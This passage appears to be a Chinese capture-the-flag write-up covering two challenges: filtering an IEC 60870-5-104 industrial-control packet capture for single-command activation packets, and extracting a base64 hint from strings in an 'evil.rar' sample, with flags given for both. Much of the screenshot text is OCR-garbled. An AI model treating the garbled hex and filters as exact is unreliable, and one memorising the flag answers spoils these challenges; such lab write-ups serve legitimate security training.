	666 164, 381893	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (150,150) ASDU=4 C_SC_
	667 164.383360	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU	70 -> I (150,151) ASDU=4 C_SC_
	966 225.740367	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (221,221) ASDU=4 C_SC_
	967 225.741604	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU	70 -> I (221,222) ASDU=4 C_SC_
,	0 = Test OA: 0 Addr: 4 IOA: 0 IOA: 0	: False			
*	0 = Test OA: 0 Addr: 4 IOA: 0 IOA: 0 \$\$C0: 0x66 0 110 01 0	: False ON/OFF: Off QU: Unknown (25) S/E: Execute			
*	0 = Test OA: 0 Addr: 4 IOA: 0 V SCO: 0x66 0 0 =	: False ON/OFF: Off QU: Unknown (25) S/E: Execute			
-	0 = Test 0A: 0 Addr: 4 IOA: 0 IOA: 0 SCO: 0x66 0 0 0 0 0 0 0 0 0 0 0 0 0	: False ON/OFF: Off QU: Unknown (25) S/E: Execute 18 00 0c 29 62 dc	a8 08 00 45 00 ···))	r)bε.	
×	0 = Test GA: 0 Addr: 4 IOA: 0 IOA: 0 SCO: 0x66 0 0 0 0 0 0	: False ON/OFF: Off QU: Unknown (25) S/E: Execute 18 00 0c 29 62 dc 00 80 06 c9 ab ac	a8 08 00 45 00 ···) 10 57 8c ac 10 ·8··	r····)b····E· @······	
0000 0010 0020	0 = Test OA: 0 Addr: 4 IOA: 0 IOA: 0 IOA: 0 SCO: 0x66 0 = .110 01 = 00 = 00 + 4 00 0c 29 59 f3 00 38 19 e4 40 55 83 76 30 09 20 34 19 c4 40 56 83 76 30 60 20 56 10 50 50 20 56 50 50 20 56 50 50 20 56 50 20 50 50 20 50 20 50 50 20 50	<pre>False ON/OFF: off QU: Unknown (25) S/E: Execute 18 00 0c 29 62 dc 00 80 06 c9 ab ac 64 c5 16 bf 96 78 0 68 06 b 06 b9 66 b8</pre>	a8 08 00 45 00 ···) 10 5f 8c ac 10 ·8· fa fo e8 50 18 _·vi co 1d o1 co co	۲۰۰۰۰)۵۰۰۰ E ۱۹۰۰ - ۰۰۰ ۱۰ d - ۰۰۰ ۲۰۰۰ - ۲۰۰	

5、继续筛选act值的字段, iec60870_asdu.causetx==act, 发现flag为:

()		9 ******	<u> </u>		
lec	60870_asda_addr1=0 &	1ec60870_asdii causets~	ract		
ie.	Time	Source	Destination	Protocol 1	length Info
	387 97.945928	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (93,93) ASDU=4 C_SC_NA_1 Act
	654 158.114423	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (149,149) ASDU=4 C_SC_NA_1 Act
	666 164.381893	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (150,150) ASDU=4 C_SC_NA_1 Act
	966 225.740367	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (221,221) ASDU=4 C_SC_NA_1 Act
	1181 298.786718	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (248,248) ASDU=4 C_SC_NA_1 Act
	1337 332.838813	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (288,288) ASDU=4 C_SC_NA_1 Act
	1591 367.764868	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (354,354) ASDU=4 C_SC_NA_1 Act
	1808 402.673810	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (410,410) ASDU=4 C_SC_NA_1 Act
	1821 414.835435	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (411,411) ASDU=4 C_SC_NA_1 Act
	2071 456.672937	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (480,480) ASDU=4 C_SC_NA_1 Act
	2164 478.810476	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (504,504) ASDU=4 C_SC_NA_1 Act
	2322 505.959857	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (540,540) ASDU=4 C_SC_NA_1 Act
	2493 550.594029	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (575,575) ASDU=4 C SC NA 1 Act
	2661 587.013180	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (619,619) ASDU=4 C 5C NA 1 Act
	2683 599.135328	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (620,620) ASDU=4 C_SC_NA_1 Act
-		1 martine 1 martine			
TE	C 60870-5-104: C	ol Protocol, Src Por - I (93.93)	rt: 30256, Dst Port: .	2484, Seq: 1513, ACK: 1573,	Len: 16
. 11	C 60870-5-101/10	A ASDUE ASDUEA C SC	NA 1 Act TOA-0	single command'	
-	TypeId: C SC NA	1 (45)		and the second	
	8	False			
	000 0001 = Num1	W- 1			
	00 0110 = Caus	eTx: Act (6)			
	00 0r 30 50 f3	10 00 00 00 00 00	10 00 00 45 00 ···	V	
	00 0C 29 59 13	10 00 00 29 62 00	10 5f 9c ac 10 .9		
	5f 83 76 30 09	64 c5 16 hf 96 78	fa fa es 50 18	9.d	
	30 14 Fr db 00	00 68 0e ha 00 ha	00 24 01 2 00	the second second	
2034	0 20 14 TO GD 00	00 00 0C 14 00 14	THE FLAT THE THE THE		

6、组合起来,得到flag为: flag{jx104_biu}

##恶意文件分析

1、恶意文件分析解压出来发现是evil.rar再解压是

> 新建3	文件夹 (2) > 恶意文件分析 > evil >	
	~ 名称	修改E
*	rels docProps	2020, 2020,
ж А	word (Content_Types].xml	2020,
*		

2、可知其有很多字符串,把evil.rar拖到Kali读取所有字符串通过grep筛选关键词发现有关键信息

the flag is (ZXdhenhkczcOMTk1Mw==)H

ZXdhenhkczc0MTk1Mw==通过base64解密得到ewazxds741953

ewazxds通过键盘的位置可以看出是一个"G"

741953通过键盘的位置可以看出是一个"K"



GK转十六进制是474B

所以flag为flag{474B}